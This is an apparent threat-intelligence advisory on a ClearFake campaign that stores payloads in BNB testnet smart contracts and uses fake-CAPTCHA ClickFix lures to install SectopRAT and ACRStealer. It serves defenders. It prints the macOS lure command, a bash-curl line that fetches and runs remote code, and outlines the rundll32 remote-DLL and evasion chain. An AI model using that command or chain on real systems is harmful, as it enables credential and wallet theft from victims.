# ClearFake Uses Smart Contracts on BNB Smart Chain Testnet for C&C (EtherHiding) to Deliver SectopRAT and ACRStealer

> Trend Micro reports a ClearFake campaign that stores malicious JavaScript payloads in smart contracts on the BNB Smart Chain testnet (EtherHiding), queried via eth_call JSON-RPC, as an immutable and non-sinkholable C&C channel. A compromised Swiss WordPress site delivered the initial loader, leading to SectopRAT and ACRStealer on Windows and macOS endpoints via a ClickFix fake-CAPTCHA overlay.

- **Published:** 2026-10-19T23:53:20Z
- **Last reviewed:** 2026-10-19T23:53:20Z
- **Canonical:** https://intel.threadlinqs.com/threat/TL-2026-3919
- **ID:** TL-2026-3919
- **Severity:** HIGH
- **Category:** MALWARE
- **Status:** ACTIVE
- **Actor:** ClearFake operators
- **Detections:** 9 · **IOCs:** 21 (full data via the Threadlinqs MCP server — Purple tier)

## Description

Trend Micro (TrendAI) Research analyzed an intrusion in which ClearFake operators used the EtherHiding technique to route payload delivery through four smart contracts on the BNB Smart Chain (BSC) testnet, all created by a single deployer wallet. Because testnet BNB has no monetary value, the infrastructure is free to operate, immutable, and cannot be taken down or sinkholed like a conventional domain-based C&C. The oldest contract (Stage 1 entry point) was deployed on 2025-05-26, nearly a year before analysis, showing a long-running, maintained campaign rather than a proof of concept.

Initial access was a watering-hole style compromise: obfuscated JavaScript was injected into a legitimate Swiss recreational website running WordPress. The Stage 1 loader (string-array rotation with checksum validation) issues raw JSON-RPC eth_call requests to the public RPC endpoint bsc-testnet-rpc.publicnode.com without any Web3 library, manually decoding the EVM ABI-encoded response (32-byte offset, 32-byte length, raw string bytes) to retrieve the next-stage JavaScript from Contract A. Stage 2 performs anti-analysis checks (Selenium, HeadlessChrome, PhantomJS, Puppeteer, Playwright, zero window dimensions, non-standard browsers), rejects private/localhost address ranges, uses the Avast IP-geolocation API (ip-info.ff.avast.com/v2/info) to learn the public IP, sets a cjs_id tracking cookie (UUID, 2-day TTL) for revisit correlation, and routes by operating system to a Windows payload contract (Contract B) or a macOS payload contract (Contract C). A fourth contract (Contract D) serves as an on-chain execution tracker confirming each victim compromise.

Stage 3 is a ClickFix social-engineering overlay imitating Google reCAPTCHA that writes a command to the clipboard. On Windows the victim is steered to paste into the Run dialog, which runs rundll32.exe against a remote DLL over a UNC/WebDAV path (put34b.camp). rundll32 spawns dllhost.exe, which deploys a Python-based RAT (pythonw.exe and helper.py shellcode loader in a FileZilla-lookalike directory), sideloads a malicious libvlccore.dll via vlc.exe/libvlc.dll from a Mozilla Firefox-lookalike profile directory, and injects into browsers. Payloads are SectopRAT (a .NET RAT with browser session hijacking) and ACRStealer (a C++ infostealer; 4.29 MB encrypted payload), with MediaFire (download2324.mediafire.com) used as fallback delivery and a _remote_debugging.pyd_ module used for browser credential theft. On macOS the overlay instructs the victim to paste a /bin/bash -c "$(curl -A 'Mac OS X 10_15_7' -fsSL URL)" command into Terminal; the macOS payload also injects a Yandex Metrika tracker (counter 99162160). The impact is theft of browser cookies, passwords, cryptocurrency wallets and Discord/Telegram sessions, and remote access. The victim needs only a single deliberate action (pasting the clipboard command).

Context: Google GTIG reported in October 2025 that North Korea-nexus UNC5342 adopted EtherHiding (JADESNOW/INVISIBLEFERRET) on BSC and Ethereum; the Trend Micro article cites this as context only and does not attribute ClearFake to that actor. Microsoft Defender Experts and Red Canary independently reported a surge in ClearFake-fed ACR Stealer ClickFix activity from late April to June 2026, with a subset of infrastructure using EtherHiding. No CVE is involved.

## MITRE ATT&CK

- T1204.004 User Execution: Malicious Copy and Paste
- T1059.007 Command and Scripting Interpreter: JavaScript
- T1059.006 Command and Scripting Interpreter: Python
- T1218.011 System Binary Proxy Execution: Rundll32
- T1574.001 DLL
- T1497.001 Virtualization/Sandbox Evasion: System Checks
- T1027 Obfuscated Files or Information
- T1055 Process Injection
- T1555.003 Credentials from Password Stores: Credentials from Web Browsers
- T1539 Steal Web Session Cookie
- T1185 Browser Session Hijacking
- T1614 System Location Discovery
- T1082 System Information Discovery
- T1583.006 Acquire Infrastructure: Web Services

## Sources

- [Smart Contracts for C&C: How ClearFake Hid in Plain Sight on BSC Testnet](https://www.trendmicro.com/en_us/research/26/e/smart-contracts-for-command-and-control.html)
- [ClearFake Uses BSC Testnet Smart Contracts (Cyber Security News)](https://cybersecuritynews.com/clearfake-uses-bsc-testnet-smart-contracts/amp/)
- [DPRK Adopts EtherHiding (Google Threat Intelligence Group)](https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding)
- [North Korean Hackers Use EtherHiding to Hide Malware (The Hacker News)](https://thehackernews.com/2025/10/north-korean-hackers-use-etherhiding-to.html)
- [ACR Stealer's ClickFix Campaigns Drain M365 Tokens (CSA research note)](https://labs.cloudsecurityalliance.org/research/csa-research-note-acr-stealer-clickfix-m365-20260717-csa-sty/)
- [ACR Stealer Campaigns Using ClickFix Social Engineering (Integrity360)](https://insights.integrity360.com/threat-advisories/acr-stealer-campaigns-using-clickfix-social-engineering)
- [Red Canary SecOps Weekly: Top Cyber Threats May 2026](https://redcanary.com/resources/videos/secops-weekly-top-cyber-threats-may-2026/)

## Full data

Detection queries (Splunk SPL / Microsoft KQL / Sigma) and IOC values require the Threadlinqs MCP server (Purple tier): https://intel.threadlinqs.com/mcp

Canonical: https://intel.threadlinqs.com/threat/TL-2026-3919